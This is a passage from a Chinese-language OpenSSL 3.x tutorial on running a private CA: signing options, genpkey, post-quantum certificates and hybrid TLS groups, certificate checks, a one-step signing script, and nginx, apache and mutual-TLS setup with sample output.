                  :[3.x] *这个选项现在已经不是必需的了* 。1.1.1 时代不给它、且 .srl 文件不存在会报错,
                  :所以到处都能看到 -CAcreateserial。3.0 起改成了:没有给 -CAserial 时,
                  :直接生成一个 20 字节的随机序列号,不落盘。这既省事又更符合
                  :CA/B 论坛"序列号必须含 >=64 位熵"的要求。只有确实需要一份递增序列号
                  :台账时才需要 -CAserial/-CAcreateserial。
                  :验证: openssl x509 -req -in s.csr -CA ca.crt -CAkey ca.key -out s.crt
                  :       openssl x509 -in s.crt -noout -serial
                  :       serial=3CEF78462ED4A8DBD88F8B65A22F981BE43AA111
-extfile filename :指定签名时包含要添加到证书中的扩展项的文件。
-extensions name  :指定使用 -extfile 文件里的哪个段。不给则使用该文件的默认段(无 [section] 头的部分)。

【CERTIFICATE EXTENSIONS】
-purpose:选项检查证书的扩展项并决定该证书允许用于哪些方面,即证书使用目的范围。
basicConstraints:该扩展项用于决定证书是否可以当作CA证书。格式为basicConstraints=CA:true | false
                :1.如果CA的flag设置为true,那么该证书允许作为一个CA证书,即可以颁发下级证书或进行签名;
                :2.如果CA的flag设置为false,那么该证书就不能作为CA,不能为下级颁发证书或签名;
                :3.所有CA的证书中都必须设置CA的flag为true。
                :4.如果basicConstraints扩展项未设置,那么证书被认为可疑的CA,即"possible CA"。
keyUsage:该扩展项用于指定证书额外的使用限制,即也是使用目的的一种表现方式。
        :1.如果keyUsage扩展项被指定,那么该证书将又有额外的使用限制。
        :2.CA证书文件中必须至少设置keyUsage=keyCertSign。
        :3.如果设置了keyUsage扩展项,那么不论是否使用了critical,都将被限制在指定的使用目的purpose上。

范例

#使用x509工具自建CA。由于x509无法建立证书请求文件,所以只能使用openssl req来生成请求文件,然后使用x509来自签署。
openssl req -new -keyout key.pem -out req.csr
openssl x509 -req -in req.csr -signkey key.pem -out x509.crt

#x509也可以用来签署他人的证书请求,即为他人颁发证书。注意,为他人颁发证书时,确保serial文件存在,建议使用自动创建的选项"-CAcreateserial"。
openssl x509 -req -in req.csr -CA ca.crt -CAkey ca.key -out x509.crt -CAcreateserial # 用这个可以避免一些错误

范例: k8s签署证书

# setp1 签发请求
openssl req -nodes -sha256  -newkey rsa:4096 -keyout apiserver-etcd-client.key  -out apiserver-etcd-client.csr -subj "/CN=apiserver-etcd-client/O=system:masters"

# setp2 ca签发方式1
openssl x509 -days 36500 -req -in apiserver-etcd-client.csr -CA etcd/ca.crt -CAkey etcd/ca.key -CAcreateserial -extensions v3_req_etcd -extfile openssl.cnf -out apiserver-etcd-client.crt
# setp2 ca签发方式2(不推荐,要求有证书签发配置ca,可以没有证书请求配置req)
source ~/env.sh 
export CERT_DIR=etcd
touch $CERT_DIR/index.txt
echo 1000 > $CERT_DIR/serial
touch $CERT_DIR/index.txt.attr
echo "unique_subject = no" > $CERT_DIR/index.txt.attr

openssl ca -batch -days 36500 -notext \
    -config <(cat openssl.cnf <(printf '[ ca ]\ndefault_ca = CA_default\n[ CA_default ]\ndir=${ENV::CERT_DIR}\ncerts = $dir\nnew_certs_dir =$dir\ndatabase = $dir/index.txt\nunique_subject = no\nserial = $dir/serial\npolicy = policy_loose\n[ policy_loose ]\n')) \
    -extensions v3_req_etcd  -notext -cert etcd/ca.crt -keyfile etcd/ca.key -md sha256 -in apiserver-etcd-client.csr -out apiserver-etcd-client.crt 
#清理
rm -f $CERT_DIR/index*
rm -f $CERT_DIR/100*
rm -f $CERT_DIR/serial*

[3.x] openssl genpkey:统一的密钥生成命令

genrsa / ecparam -genkey / gendsa 这些"一种算法一个命令"的老接口仍然可用, 但 3.x 的正路是 genpkey :它走 provider,所有算法(包括后量子)一个语法。

# RSA
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out rsa.key
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 \
        -pkeyopt rsa_keygen_pubexp:65537 -out rsa4096.key

# EC(P-256 / P-384)。注意 -pkeyopt 用的是 ec_paramgen_curve
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 \
        -pkeyopt ec_param_enc:named_curve -out ec256.key
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-384 -out ec384.key

# Edwards 曲线(无需任何参数)
openssl genpkey -algorithm ED25519 -out ed25519.key
openssl genpkey -algorithm X25519  -out x25519.key    # 仅用于密钥协商,不能签名

# [3.5] 后量子签名
openssl genpkey -algorithm ML-DSA-65 -out mldsa65.key

# 加密输出([3.5] req/cms/smime 默认已改用 aes-256-cbc;genpkey 需要显式指定)
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 \
        -aes-256-cbc -pass env:KEY_PASS -out rsa-enc.key

# 查看/校验私钥
openssl pkey -in rsa.key -noout -text
openssl pkey -in rsa.key -pubout -out rsa.pub
openssl pkey -in ec256.key -noout -check

某个算法能设哪些生成参数,用 list -key-managers -verbose 查(注意没有 -pkeyopt help 这种用法,会直接报 "Error setting help parameter"):

openssl list -key-managers -verbose | grep -A8 'OpenSSL RSA implementation'
  Name: OpenSSL RSA implementation
    IDs: { 1.2.840.113549.1.1.1, 2.5.8.1.1, RSA, rsaEncryption } @ default
    settable key generation parameters:
      bits: unsigned integer (max 8 bytes large)
      primes: unsigned integer (max 8 bytes large)
      e: unsigned integer (arbitrary size)

这里列出的是 provider 层的参数名( bits / e ), genpkey 命令行上对应的是 rsa_keygen_bits / rsa_keygen_pubexp 这些别名, 完整对照见 man EVP_PKEY-RSA 、 man EVP_PKEY-EC 。

[3.6] openssl pkey -outform DER 现在默认输出 PKCS#8 格式(与文档一致)。 以前对 RSA/DSA/ECDSA 这些有"传统格式"的老算法会输出传统格式。 需要传统格式要显式加 -traditional (该选项在 3.6 之前只对 PEM 有效)。

[3.5] 后量子密码(PQC)证书

3.5 是第一个 原生 支持 NIST 三个后量子标准的 OpenSSL 版本,不再需要 oqs-provider:

算法 标准 用途 OpenSSL 中的名字
ML-KEM FIPS 203 密钥封装(替代 ECDH) ML-KEM-512 / ML-KEM-768 / ML-KEM-1024
ML-DSA FIPS 204 数字签名(替代 ECDSA/RSA) ML-DSA-44 / ML-DSA-65 / ML-DSA-87
SLH-DSA FIPS 205 数字签名(基于哈希,保守) SLH-DSA-SHA2-128s 等 12 个变体
签发一张后量子证书
# 后量子根CA
openssl genpkey -algorithm ML-DSA-65 -out pqc-ca.key
openssl req -x509 -new -key pqc-ca.key -days 3650 \
        -subj "/CN=PQC Root CA" -out pqc-ca.crt \
        -addext "basicConstraints=critical,CA:TRUE" \
        -addext "keyUsage=critical,keyCertSign,cRLSign"

openssl x509 -in pqc-ca.crt -noout -text | grep -iE 'Signature Algorithm|Public Key Algorithm'
        Signature Algorithm: ML-DSA-65
            Public Key Algorithm: ML-DSA-65

# 注意不要指定 -sha256 之类的摘要:ML-DSA/SLH-DSA/Ed25519 自带摘要,
# 指定了会被静默忽略,白白让人误解

要有心理准备:PQC 证书大得多

wc -c pqc-ca.crt rsa2048-ca.crt
    7513 pqc-ca.crt        # ML-DSA-65,约 7.3 KB
    1099 rsa2048-ca.crt    # RSA-2048,约 1.1 KB

ML-DSA-65 的公钥 1952 字节、签名 3309 字节,一张证书就是 RSA 的 7 倍。 一条完整证书链(叶子+中间+根)可能 20KB 以上,会显著增加 TLS 握手的首包大小, 在 UDP/QUIC 和高丢包链路上尤其需要实测。SLH-DSA 的签名更大(最小变体也有 7856 字节), 但安全假设最保守(只依赖哈希函数),适合固件签名这类长期有效、不频繁传输的场景。

TLS 的混合密钥交换

3.5 最大的实际变化是 默认就开了后量子密钥交换 。默认组列表变成:

?*X25519MLKEM768 / ?*X25519:?secp256r1 / ?X448:?secp384r1:?secp521r1 / ?ffdhe2048:?ffdhe3072

含义:客户端默认 同时发两个 key share —— X25519MLKEM768 和 X25519 。 前者是"混合"组:把 X25519 的共享密钥和 ML-KEM-768 的封装密钥拼在一起做 KDF, 只要其中任何一个没被攻破,会话就是安全的 。这样既抗量子,又不承担 "新算法万一有实现缺陷"的风险,是当前业界的过渡方案。

同时 3.5 把 GOST 组和大于 3072 位的 FFDHE 组移出了默认列表;组名现在大小写不敏感。

可用的混合组: X25519MLKEM768 、 SecP256r1MLKEM768 、 SecP384r1MLKEM1024 。

# 本机支持哪些组(这是"全部支持",不是"默认启用"的那一份)
openssl list -tls-groups
secp256r1:secp384r1:secp521r1:x25519:x448:brainpoolP256r1tls13:...
:MLKEM512:MLKEM768:MLKEM1024:SecP256r1MLKEM768:X25519MLKEM768:SecP384r1MLKEM1024

# 实测握手到底协商出了什么组
openssl s_client -connect example.com:443 -brief </dev/null 2>&1 | grep -i 'group\|protocol'

# 强制只用后量子混合组(对端不支持就会直接握手失败,用来确认对端能力)
openssl s_client -connect example.com:443 -groups X25519MLKEM768 </dev/null

# 本地起个 server 自测
openssl s_server -cert server.crt -key server.key -accept 4433 -groups X25519MLKEM768

另外 [3.5] TLS 签名算法的默认列表已经把三个 ML-DSA 变体排在最前面, 也就是说只要双方都有 ML-DSA 证书,默认就会用它。

[3.x] provider 架构

3.0 用 provider 取代了 ENGINE。算法不再是"编译进 libcrypto 的一堆函数", 而是由可插拔的 provider 提供。默认只加载 default 。

provider 内容
default 绝大多数现代算法,默认启用
legacy MD2/MD4/RC2/RC4/RC5/DES/Blowfish/CAST/IDEA/SEED/Whirlpool
fips 经 FIPS 140-3 验证的算法子集,需单独构建和配置
base 只有编码/解码和密钥管理,不含算法实现
null 空,用于测试"什么都没加载"的情况

最常遇到的现象:读一个老的 PKCS#12 或用 RC4/DES 加密的私钥时报 unsupported / error:0308010C:digital envelope routines::unsupported 。 原因就是算法在 legacy 里而 legacy 没启用:

openssl list -providers                      # 看当前加载了什么
openssl pkcs12 -in old.p12 -nodes -legacy    # pkcs12 有专门的 -legacy 快捷选项
openssl rsa -in old.key -provider legacy -provider default -out new.key
#                        ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^
#                        显式加 legacy 时必须把 default 也一起加上,
#                        否则 default 会被顶掉,连 AES 都用不了

# 查某个算法由谁提供(输出末尾的 @default / @legacy 就是 provider 名)
openssl list -digest-algorithms | grep -i md4
openssl list -cipher-algorithms | grep -i rc4

[3.5] 新增 -provparam 选项,可以在命令行上给 provider 传配置参数, 不必为了改一个参数去动 openssl.cnf。

证书自检与排错常用命令

签完证书别只看 "OK",下面几条是实际会暴露问题的检查:

# 1) 只看关键扩展,比 -text 刷屏强得多([3.x] -ext 选项)
openssl x509 -in server.crt -noout -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage

# 2) 链路校验。*必须带 -auth_level 1* ,默认的 level 0 会放过弱摘要
openssl verify -auth_level 1 -CAfile ca.crt server.crt
openssl verify -auth_level 1 -CAfile ca.crt -untrusted intermediate.crt server.crt

# 3) 校验主机名是否真的能匹配上(只看 SAN,和浏览器口径一致)
openssl verify -auth_level 1 -CAfile ca.crt -verify_hostname app.jasper.org server.crt
openssl verify -auth_level 1 -CAfile ca.crt -verify_ip 127.0.0.1 server.crt

# 4) 严格模式:按 RFC 5280 检查,能查出"CA 证书没标 critical"这类问题
openssl verify -auth_level 1 -x509_strict -CAfile ca.crt server.crt

# 5) 确认私钥和证书是同一对(两个哈希必须相同)
openssl x509 -in server.crt -noout -pubkey | openssl sha256
openssl pkey -in server.key -pubout        | openssl sha256

# 6) 确认证书用途(-purpose 会列出该证书能/不能用于哪些场景)
openssl x509 -in server.crt -noout -purpose

# 7) 有效期
openssl x509 -in server.crt -noout -dates
openssl x509 -in server.crt -noout -checkend 2592000    # 30天内是否到期,是则返回 1

# 8) 真实握手实测(最终判据)
openssl s_client -connect app.jasper.org:443 -servername app.jasper.org \
        -CAfile ca.crt -verify_hostname app.jasper.org -brief </dev/null
几个反复出现的错误和成因
报错 / 现象 成因
ERR_CERT_COMMON_NAME_INVALID (浏览器) 缺 SAN。CN 早已被忽略,必须写 subjectAltName
error 24: invalid CA certificate 某一级证书的 basicConstraints 不是 CA:TRUE
error 20: unable to get local issuer certificate 链不完整,中间CA 没发给客户端;用 -untrusted 或把中间证书拼进链文件
error 68: CA signature digest algorithm too weak 用了 md5/sha1 签名
error 10: certificate has expired 过期;或有效期超过 398 天被 Apple 平台判定不可用
签出来的叶子证书是 CA:TRUE 用了 req -x509 -CA 但没显式覆盖 basicConstraints(见前文)
扩展"明明写了"却没进证书 x509 -req 默认丢弃 CSR 扩展,且 -extfile 路径写错时 不报错
unsupported / 0308010C 算法在 legacy provider 里,需 -provider legacy -provider default

最后这条要特别注意: -extfile 指向一个不存在的路径时,OpenSSL 不会报错, 只会静默生成一张没有任何扩展的证书。所以签发后一定要用上面第 1 条回查一遍。

[3.6] 相比 3.5 的增量

3.6 于 2025-10-01 发布(非 LTS)。与证书/配置相关的有:

  • 新增 openssl configutl :解析配置文件并把最终生效的等价配置 dump 出来。 排查 .include 、变量引用、多处覆盖导致的"配置到底生效了没"非常有用。

    openssl configutl                      # dump 默认配置文件
    openssl configutl -config ./my.cnf
    

    注意:ubuntu2604 上没有这个命令 。Ubuntu 26.04 带的是 OpenSSL 3.5.5, configutl 是 3.6 才加的:

    root@master01:~# openssl configutl
    Invalid command 'configutl'; type "help" for a list.
    

    在 3.5 上想确认 .include 到底生效没有,只能用笨办法: strace -f -e trace=openat openssl ca ... 2>&1 | grep '\.cnf\|conf\.d' 。

  • 新增 LMS 签名 验签 支持(SP 800-208),default 和 fips provider 都有。 注意只有验签,不能签发。
  • openssl pkey -outform DER 默认改为输出 PKCS#8(见 genpkey 一节)。
  • OSSL_STORE 的 file: scheme 放宽了路径检查,现在允许 file:relative/path.pem 。
  • 所有环境变量整理进了 openssl-env(7) 手册页。
  • 构建要求提高到 C99;移除了 VxWorks 平台支持。

如果只是签证书,3.5 和 3.6 对你没有区别,按 3.5 LTS 写脚本即可。

案例:一键签发脚本

「五分钟快速生成证书」那一版每签一张就要改一次变量、复制粘贴一次。要反复签、签很多张, 就把它封装成脚本。相比老版本的批量脚本,这一版:

  • 用 genpkey 而不是 genrsa
  • SAN 自动处理 :CN 自动进 SAN,IP 和域名自动分流到 IP: / DNS:
  • 叶子证书默认 397 天而不是 36500 天
  • 内置自检:验链 + 公私钥配对 + 逐个 SAN 做主机名/IP 校验
  • CA 和证书分开成 init / issue 两个子命令,CA 只建一次

脚本内容:

cat > gen-cert.sh <<'SCRIPT'
#!/bin/bash
# gen-cert.sh —— 私有CA 一键签发脚本 (OpenSSL 3.x)
# 用法:
#   ./gen-cert.sh init                            初始化 CA(只需一次)
#   ./gen-cert.sh issue <CN> [SAN...] [--days N]  签发一张服务端证书
#   ./gen-cert.sh check <name>                    检查已签发的证书
set -euo pipefail

CA_DIR="${CA_DIR:-/data/ca}"
CA_SUBJ="${CA_SUBJ:-/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=ca.jasper.org}"
SUBJ_BASE="${SUBJ_BASE:-/C=CN/ST=beijing/L=beijing/O=ops/OU=it}"
DAYS="${DAYS:-397}"          # 叶子证书天数, 别超 398
CA_DAYS="${CA_DAYS:-3650}"   # 根CA 天数

G="\033[1;32m"; Y="\033[1;33m"; R="\033[1;31m"; N="\033[0m"
info(){ echo -e "${G}==>${N} $*"; }
warn(){ echo -e "${Y}[!]${N} $*"; }
die(){  echo -e "${R}[x]${N} $*" >&2; exit 1; }

do_init() {
    mkdir -p "$CA_DIR"; cd "$CA_DIR"
    [ -f ca.key ] && die "CA 已存在: $CA_DIR/ca.key (要重建请先手工删除)"

    info "生成 CA 私钥 (RSA 4096)"
    openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out ca.key 2>/dev/null
    chmod 600 ca.key

    info "生成 CA 自签证书 (${CA_DAYS} 天)"
    openssl req -x509 -new -key ca.key -days "$CA_DAYS" -out ca.crt \
        -subj "$CA_SUBJ" \
        -addext "basicConstraints=critical,CA:TRUE,pathlen:0" \
        -addext "keyUsage=critical,keyCertSign,cRLSign"
    chmod 644 ca.crt

    openssl x509 -in ca.crt -noout -subject -dates
    info "CA 就绪: $CA_DIR/ca.crt"
    warn "让本机信任它:  cp $CA_DIR/ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates"
}

do_issue() {
    local cn="$1"; shift
    local days="$DAYS" sans=()
    while [ $# -gt 0 ]; do
        case "$1" in
            --days) days="$2"; shift 2 ;;
            *)      sans+=("$1"); shift ;;
        esac
    done
    [ -n "$cn" ] || die "缺少 CN"
    cd "$CA_DIR" || die "CA 目录不存在, 先跑 init"
    [ -f ca.key ] || die "CA 不存在, 先跑 init"

    # CN 自身必须进 SAN; 其余按 IP / DNS 自动分类
    local san_list="DNS:${cn}"
    for s in ${sans[@]+"${sans[@]}"}; do
        if [[ "$s" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ || "$s" == *:* ]]; then
            san_list+=",IP:${s}"
        else
            san_list+=",DNS:${s}"
        fi
    done

    local name="${cn//\*/wildcard}"
    info "签发 ${cn}  (${days} 天)"
    echo "    SAN = ${san_list}"

    openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "${name}.key" 2>/dev/null
    chmod 600 "${name}.key"

    openssl req -new -key "${name}.key" -out "${name}.csr" \
        -subj "${SUBJ_BASE}/CN=${cn}" \
        -addext "subjectAltName=${san_list}"

    openssl x509 -req -in "${name}.csr" -CA ca.crt -CAkey ca.key \
        -copy_extensions copy -days "$days" -out "${name}.crt" \
        -extfile <(printf '%s\n' \
            'basicConstraints=critical,CA:FALSE' \
            'keyUsage=critical,digitalSignature,keyEncipherment' \
            'extendedKeyUsage=serverAuth')
    chmod 644 "${name}.crt"
    rm -f "${name}.csr"

    do_check "$name"
}

do_check() {
    local name="$1"
    cd "$CA_DIR"
    [ -f "${name}.crt" ] || die "找不到 ${CA_DIR}/${name}.crt"

    echo "--- 关键扩展 ---"
    openssl x509 -in "${name}.crt" -noout \
        -ext subjectAltName,basicConstraints,keyUsage,extendedKeyUsage
    echo "--- 主体 / 有效期 ---"
    openssl x509 -in "${name}.crt" -noout -subject -issuer -dates -serial

    echo "--- 自检 ---"
    openssl verify -auth_level 1 -x509_strict -CAfile ca.crt "${name}.crt"

    # 公私钥必须配对
    local a b
    a=$(openssl x509 -in "${name}.crt" -noout -pubkey | openssl sha256)
    b=$(openssl pkey -in "${name}.key" -pubout 2>/dev/null | openssl sha256)
    [ "$a" = "$b" ] && echo "keypair: OK" || die "证书与私钥不配对!"

    # 逐个 SAN 做主机名/IP 校验, 这一步才是最接近真实客户端的判定
    openssl x509 -in "${name}.crt" -noout -ext subjectAltName \
      | tr ',' '\n' | sed -n 's/.*DNS:\(.*\)/\1/p;s/.*IP Address:\(.*\)/IP=\1/p' \
      | while read -r v; do
            [ -z "$v" ] && continue
            v="${v// /}"
            if [[ "$v" == IP=* ]]; then
                openssl verify -auth_level 1 -CAfile ca.crt \
                    -verify_ip "${v#IP=}" "${name}.crt" >/dev/null \
                    && echo "  IP  ${v#IP=}  OK" || echo "  IP  ${v#IP=}  FAIL"
            else
                # 通配符用一个实例域名来试
                t="$v"; [[ "$t" == \*.* ]] && t="probe.${v#*.}"
                openssl verify -auth_level 1 -CAfile ca.crt \
                    -verify_hostname "$t" "${name}.crt" >/dev/null \
                    && echo "  DNS ${v} (试 ${t})  OK" || echo "  DNS ${v}  FAIL"
            fi
        done

    echo
    info "文件: ${CA_DIR}/${name}.crt  ${CA_DIR}/${name}.key  ${CA_DIR}/ca.crt"
}

case "${1:-}" in
    init)  do_init ;;
    issue) shift; do_issue "$@" ;;
    check) shift; do_check "$@" ;;
    *)     sed -n '2,10p' "$0"; exit 1 ;;
esac
SCRIPT
chmod +x gen-cert.sh

实际运行(ubuntu2604 实测):

root@master01:~# CA_DIR=/data/catest ./gen-cert.sh init
==> 生成 CA 私钥 (RSA 4096)
==> 生成 CA 自签证书 (3650 天)
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
notBefore=Sep 27 23:43:16 2026 GMT
notAfter=Sep 24 23:43:16 2036 GMT
==> CA 就绪: /data/catest/ca.crt
[!] 让本机信任它:  cp /data/catest/ca.crt /usr/local/share/ca-certificates/ && update-ca-certificates

root@master01:~# CA_DIR=/data/catest ./gen-cert.sh issue app1.jasper.org '*.jasper.org' 10.0.0.101 127.0.0.1
==> 签发 app1.jasper.org  (397 天)
    SAN = DNS:app1.jasper.org,DNS:*.jasper.org,IP:10.0.0.101,IP:127.0.0.1
Certificate request self-signature ok
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
--- 关键扩展 ---
X509v3 Subject Alternative Name:
    DNS:app1.jasper.org, DNS:*.jasper.org, IP Address:10.0.0.101, IP Address:127.0.0.1
X509v3 Basic Constraints: critical
    CA:FALSE
X509v3 Key Usage: critical
    Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
    TLS Web Server Authentication
--- 主体 / 有效期 ---
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
issuer=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=ca.jasper.org
notBefore=Sep 27 23:43:16 2026 GMT
notAfter=Oct 29 23:43:16 2027 GMT
serial=61EE1CB6198D3AE84FC10E7AC9731DAFDFB82BB2
--- 自检 ---
app1.jasper.org.crt: OK
keypair: OK
  DNS app1.jasper.org (试 app1.jasper.org)  OK
  DNS *.jasper.org (试 probe.jasper.org)  OK
  IP  10.0.0.101  OK
  IP  127.0.0.1  OK

==> 文件: /data/catest/app1.jasper.org.crt  /data/catest/app1.jasper.org.key  /data/catest/ca.crt

通配符 CN 也能处理(文件名里的 * 换成 wildcard ):

root@master01:~# CA_DIR=/data/catest ./gen-cert.sh issue '*.svc.jasper.org' --days 90
==> 签发 *.svc.jasper.org  (90 天)
    SAN = DNS:*.svc.jasper.org
...
--- 自检 ---
wildcard.svc.jasper.org.crt: OK
keypair: OK
  DNS *.svc.jasper.org (试 probe.svc.jasper.org)  OK

可以用环境变量覆盖默认值:

CA_DIR=/opt/pki \
CA_SUBJ="/C=CN/O=mycorp/CN=mycorp-internal-ca" \
SUBJ_BASE="/C=CN/O=mycorp" \
DAYS=90 \
        ./gen-cert.sh issue api.mycorp.local 10.1.2.3

案例:各种服务开启 SSL

拿到 app1.crt / app1.key / ca.crt 之后怎么用。

nginx

server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;                    # nginx 1.25.1+ 的写法,老版本是 listen 443 ssl http2
    server_name app1.jasper.org;

    ssl_certificate     /data/app1/app1.crt;
    ssl_certificate_key /data/app1/app1.key;

    # 只开 TLS 1.2/1.3。TLSv1 和 TLSv1.1 已于 2021 年被所有主流浏览器移除
    ssl_protocols TLSv1.2 TLSv1.3;

    # TLS 1.3 的套件由 OpenSSL 固定,这里只影响 TLS 1.2
    # 只保留 ECDHE + AEAD,全部具备前向保密
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305;
    ssl_prefer_server_ciphers off;   # 现代做法:让客户端选,它更清楚自己的硬件加速能力

    ssl_session_cache   shared:SSL:10m;
    ssl_session_timeout 1d;
    ssl_session_tickets off;         # 关掉可避免 ticket key 不轮换导致的前向保密失效

    add_header Strict-Transport-Security "max-age=63072000" always;
}

# 80 跳 443
server {
    listen 80;
    server_name app1.jasper.org;
    return 301 https://$host$request_uri;
}

改完必须先 nginx -t 再 nginx -s reload 。

老配置里要删掉的三样东西 (原文档这一段是 2016 年的写法):

老写法 问题
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLS 1.0/1.1 已被浏览器全面移除,留着只是攻击面
ssl_ciphers ALL:!ADH:!EXPORT56:-RC4+RSA:... ALL 会带进一堆无前向保密的套件,RC4 早已不安全
ssl on; 1.15.0 起 deprecated,1.25 起直接报错,用 listen 443 ssl

apache (httpd)

# Debian/Ubuntu
a2enmod ssl && a2ensite default-ssl
# 编译安装的则去掉 httpd.conf 里这行的注释:
#   Include conf/extra/httpd-ssl.conf
<VirtualHost *:443>
    ServerName app1.jasper.org
    SSLEngine on
    SSLCertificateFile    /data/app1/app1.crt
    SSLCertificateKeyFile /data/app1/app1.key
    # 有中间CA 时再加这行(本文两层结构用不到)
    #SSLCertificateChainFile /data/app1/ca.crt

    SSLProtocol             -all +TLSv1.2 +TLSv1.3
    SSLCipherSuite          ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384
    SSLHonorCipherOrder     off
</VirtualHost>
apachectl configtest && apachectl graceful

用 openssl 自己起一个 TLS server 做验证

部署到真实服务前,先用 s_server 确认证书本身没问题,能省掉很多排查:

# 服务端
openssl s_server -cert app1.crt -key app1.key -accept 4433 -www

# 客户端(另开一个终端)
openssl s_client -connect app1.jasper.org:4433 -servername app1.jasper.org \
        -CAfile ca.crt -verify_hostname app1.jasper.org -brief </dev/null

# 或直接 curl(前提是 CA 已进系统信任库,见「建立私有CA」的信任一节)
curl -sS -o /dev/null -w "rc=%{http_code} ssl_verify_result=%{ssl_verify_result}\n" \
        https://app1.jasper.org:4433/

ssl_verify_result=0 即为校验通过。

要做 双向认证(mTLS) 测试,两端都加上对方的 CA:

# 服务端要求客户端出示证书
# -verify_return_error 必须加,否则校验失败只打日志不断连接(详见「HTTPS 双向认证」一章)
openssl s_server -cert app1.crt -key app1.key -accept 4433 -www \
        -CAfile ca.crt -Verify 1 -verify_return_error

# 客户端带上自己的证书
openssl s_client -connect app1.jasper.org:4433 -servername app1.jasper.org \
        -CAfile ca.crt -cert client.crt -key client.key </dev/null

nginx 侧开启 mTLS:

ssl_client_certificate /data/app1/ca.crt;   # 用哪个 CA 验客户端证书
ssl_verify_client on;                       # on=强制 / optional=可选 / off=关闭
ssl_verify_depth 2;

客户端证书要用 clientAuth 而不是 serverAuth :

openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out client.key
openssl req -new -key client.key -out client.csr -subj "/C=CN/O=ops/CN=client01"
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -days 397 -out client.crt \
        -extfile <(printf "basicConstraints=critical,CA:FALSE\nkeyUsage=critical,digitalSignature\nextendedKeyUsage=clientAuth\n")

# 浏览器要导入的话转成 p12
openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.p12
# curl 做 mTLS 测试
curl --cacert ca.crt --cert client.crt --key client.key https://app1.jasper.org/ -I

案例:HTTPS 双向认证

参考:

本章证书全部用前面那套私有 CA 签发,命令、握手输出、nginx 配置与各种拒绝场景 都在 ubuntu2604 (nginx/1.28.3) 上实测。

单向 vs 双向:握手多了什么

平时说的 HTTPS 是 单向认证 :只有客户端验服务端。 mTLS (mutual TLS,双向认证)让服务端也验客户端,常见于银行支付、 内部服务间调用、K8s 组件互认、API 网关限制调用方。

握手上的区别就三条消息:

单向(常规 HTTPS)                      双向(mTLS)
  Client → ClientHello                  Client → ClientHello
  Server → ServerHello                  Server → ServerHello
           Certificate                           Certificate
                                                 CertificateRequest   <- 多这条:服务端索要
           CertificateVerify                     CertificateVerify
           Finished                              Finished
  Client → Finished                     Client → Certificate          <- 多这条:客户端出示
                                                 CertificateVerify    <- 多这条:证明持有私钥
                                                 Finished

两个要点:

  1. 客户端证书和服务端证书是完全对等的 X.509 证书 , 区别只在 extendedKeyUsage : serverAuth vs clientAuth 。
  2. 客户端证书 不需要 SAN 。SAN 用来匹配"你访问的域名", 服务端不会去匹配客户端的域名,它只关心"这张证书是不是我信任的 CA 签的", 身份信息通常放在 CN / O 里,由应用层自己取用。

签发服务端 + 客户端证书

mkdir -p /data/mtls && cd /data/mtls

# 1) 私有CA(双方共用同一个 CA;也可以各用各的,见本节末尾)
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:4096 -out ca.key
openssl req -x509 -new -key ca.key -days 3650 -out ca.crt \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=mtls-internal-ca" \
        -addext "basicConstraints=critical,CA:TRUE,pathlen:0" \
        -addext "keyUsage=critical,keyCertSign,cRLSign"

# 2) 服务端证书:serverAuth + SAN
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out server.key
openssl req -new -key server.key -out server.csr \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=app1.jasper.org" \
        -addext "subjectAltName=DNS:app1.jasper.org,IP:127.0.0.1"
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \
        -copy_extensions copy -days 397 -out server.crt \
        -extfile <(printf '%s\n' \
            'basicConstraints=critical,CA:FALSE' \
            'keyUsage=critical,digitalSignature,keyEncipherment' \
            'extendedKeyUsage=serverAuth')

# 3) 客户端证书:clientAuth,不需要 SAN,CN 用来标识"谁"
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out client.key
openssl req -new -key client.key -out client.csr \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=client01"
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key \
        -days 397 -out client.crt \
        -extfile <(printf '%s\n' \
            'basicConstraints=critical,CA:FALSE' \
            'keyUsage=critical,digitalSignature' \
            'extendedKeyUsage=clientAuth')

chmod 600 ca.key server.key client.key
rm -f server.csr client.csr

两张叶子证书的差别就在 EKU 上,用 -purpose 看得最清楚:

root@master01:/data/mtls# openssl x509 -in server.crt -noout -ext extendedKeyUsage | tail -1
    TLS Web Server Authentication
